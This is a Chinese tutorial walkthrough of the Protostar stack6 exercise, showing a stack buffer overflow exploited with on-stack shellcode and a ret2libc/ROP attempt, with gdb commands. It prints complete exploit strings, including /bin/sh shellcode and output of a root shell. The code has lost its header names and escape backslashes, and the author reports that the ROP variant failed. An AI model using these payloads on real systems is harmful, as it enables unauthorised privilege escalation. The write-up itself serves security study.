用ROP进行栈溢出攻击Linux服务器

通过Protostar stack6演示Linux下ROP的简单使用，ROP就是所谓的Return Orientated Programming，早期也叫ret2libc，思路是一样的，只是平台换到了Linux下而已。

0×01. __builtin_return_address函数

先介绍下__builtin_return_address这个函数，这个函数接收一个参数，可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址，如果参数增大1，那么就往上走一层获取返回地址。Windows下好像也有个类似的函数，不过具体叫什么忘记了。看一个例子就知道这个函数的用处了：

#include
#include
#include
#include
 
void foo()
{
    printf("in foo()n");
    printf("Foo: __builtin_return_address(0) = 0x%08Xn",
        __builtin_return_address(0));
    printf("Foo: __builtin_return_address(1) = 0x%08Xn",
        __builtin_return_address(1));
    bar();
}
 
void bar()
{
    printf("in bar()n");
    printf("Bar: __builtin_return_address(0) = 0x%08Xn",
        __builtin_return_address(0));
    printf("Bar: __builtin_return_address(1) = 0x%08Xn",
        __builtin_return_address(1));
}
 
int main(int argc, char **argv)
{
    foo();
 
    return 0;
}

编译之后用gdb调试，情况如下：

foo中调用__builtin_return_address(1)得到的结果就是main函数执行完之后的返回地址。

0×02. 直接在栈上执行Shellcode

题目的源代码如下：

#include
#include
#include
#include
 
void getpath()
{
    char buffer[64];
    unsigned int ret;
 
    printf("input path please: "); fflush(stdout);
    gets(buffer);
    ret = __builtin_return_address(0);
 
    if((ret & 0xbf000000) == 0xbf000000) {
        printf("bzzzt (%p)n", ret);
        _exit(1);
    }
 
    printf("got path %sn", buffer);
}
 
int main(int argc, char **argv)
{
    getpath();
}

可以看出buffer是可以溢出的，但是后面对返回地址有一个校验，即最高位不能是0xBF，而栈的地址的最高位就是0xBF，所以不能直接跳转到栈上面去执行Shellcode，但是我们可以通过.text中的一条ret指令作为跳转。首先需要测试返回地址的覆盖字段位于输入数据中的位置：

python -c "print 'A'*80+'B'*4" > data.txt
gdb stack6
disas getpath
b *0x080484b8   #在这里返回地址放到了eax中
r < data.txt
info registers eax

看到eax刚好为0×42424242，也就是返回地址被覆盖成了0×42424242。现在需要一条ret指令，可以直接取main函数的最后一条指令，通过disas main可以查看到地址为0×08048508。如果我们把返回地址覆盖为0×08048508，那么从getpath返回后就跑去0×08048508这个地址去执行了，而这里又是一条返回地址，那么我们可以在栈上放一个指向Shellcode的地址。

现在需要知道buffer的地址，在gets调用处下断点：

disas getpath
b *0x080484aa  #这里调用gets
info registers eax

得到buffer的地址为0xBFFFFCCC。buffer的起始地址知道了，我们就可以知道Shellcode的位置了：
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。

下面是数据的布局：

用Python生成这段数据，并当做stack6程序的输入数据：

python -c "print 'A'*80 + 'x08x85x04x08' + 'x24xFDxFFxBF' + 'x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80'" > data.txt
 
gdb stack6
r < data.txt
 
whoami
root

0×03. 使用ROP技术

其实上面跳转到main函数的最后一条ret指令的方法就是使用了ROP的思想了，不过现在假设栈没有可执行属性，那么上面的方法就不行了。我们可以考虑使用execve(“/bin/sh”, 0, 0) 执行shell。为此，需要先找到execve的地址，gdb下输入如下命令：

print execve #为0xb7f2e170
print exit   #为0xb7ec60c0

通过x /1000s $esp查找/bin/sh字符串，在0xbffffefb发现字符串”SHELL=/bin/bash”，我们需要的地址为0xbffffefb+6=0xBFFFFF01。当然也可以在输入的时候直接传入字符串，不过需要控制字符串结束符，gets又不能读（读入的是0x0D，不是0×00），额外处理为很麻烦。上面的查找方法是查找进程中的环境变量字符串实现的。同时我们也能找到指向0×00000000的指针，如0xBFFFFD6A，往execve的第二个第三个参数传入这样的指针也是可以的。

protostar stack6 通过esp查找环境变量

现在我们的数据布局如下：

execve调用之后是不会返回的，所以填充的那个exit的地址也可以是其他的不带NULL的数据，按我所想象的，这样之后就可以了。

python -c "print 'A'*80 + 'x08x85x04x08' + 'x70xE1xF2xB7' + 'xC0x60xECxB7' + 'x01xFFxFFxBF' + 'x6AxFDxFFxBF' + 'x6AxFDxFFxBF'" > data.txt
 
gdb stack6
r < data.txt

不过这里在gdb中看到，/bin/bash执行后立刻就退出了，这个估计是使用execve的方式不对，ROP思路本身是没有问题的，下次分析下第一种方法中的Shellcode，就知道怎么用了。

0×04. gdb调试学习

反汇编指定区域的数据：disas /r 0x0804a000 0x0804b000
查看函数地址：print execve
修改内存数据：set *((char*)0x0804aabb=0×00 选择对应的type即可
将文件数据作为输入：run < 文件路径
将shell命令输出作为命令行参数：run $(python -c "print 'A'*100")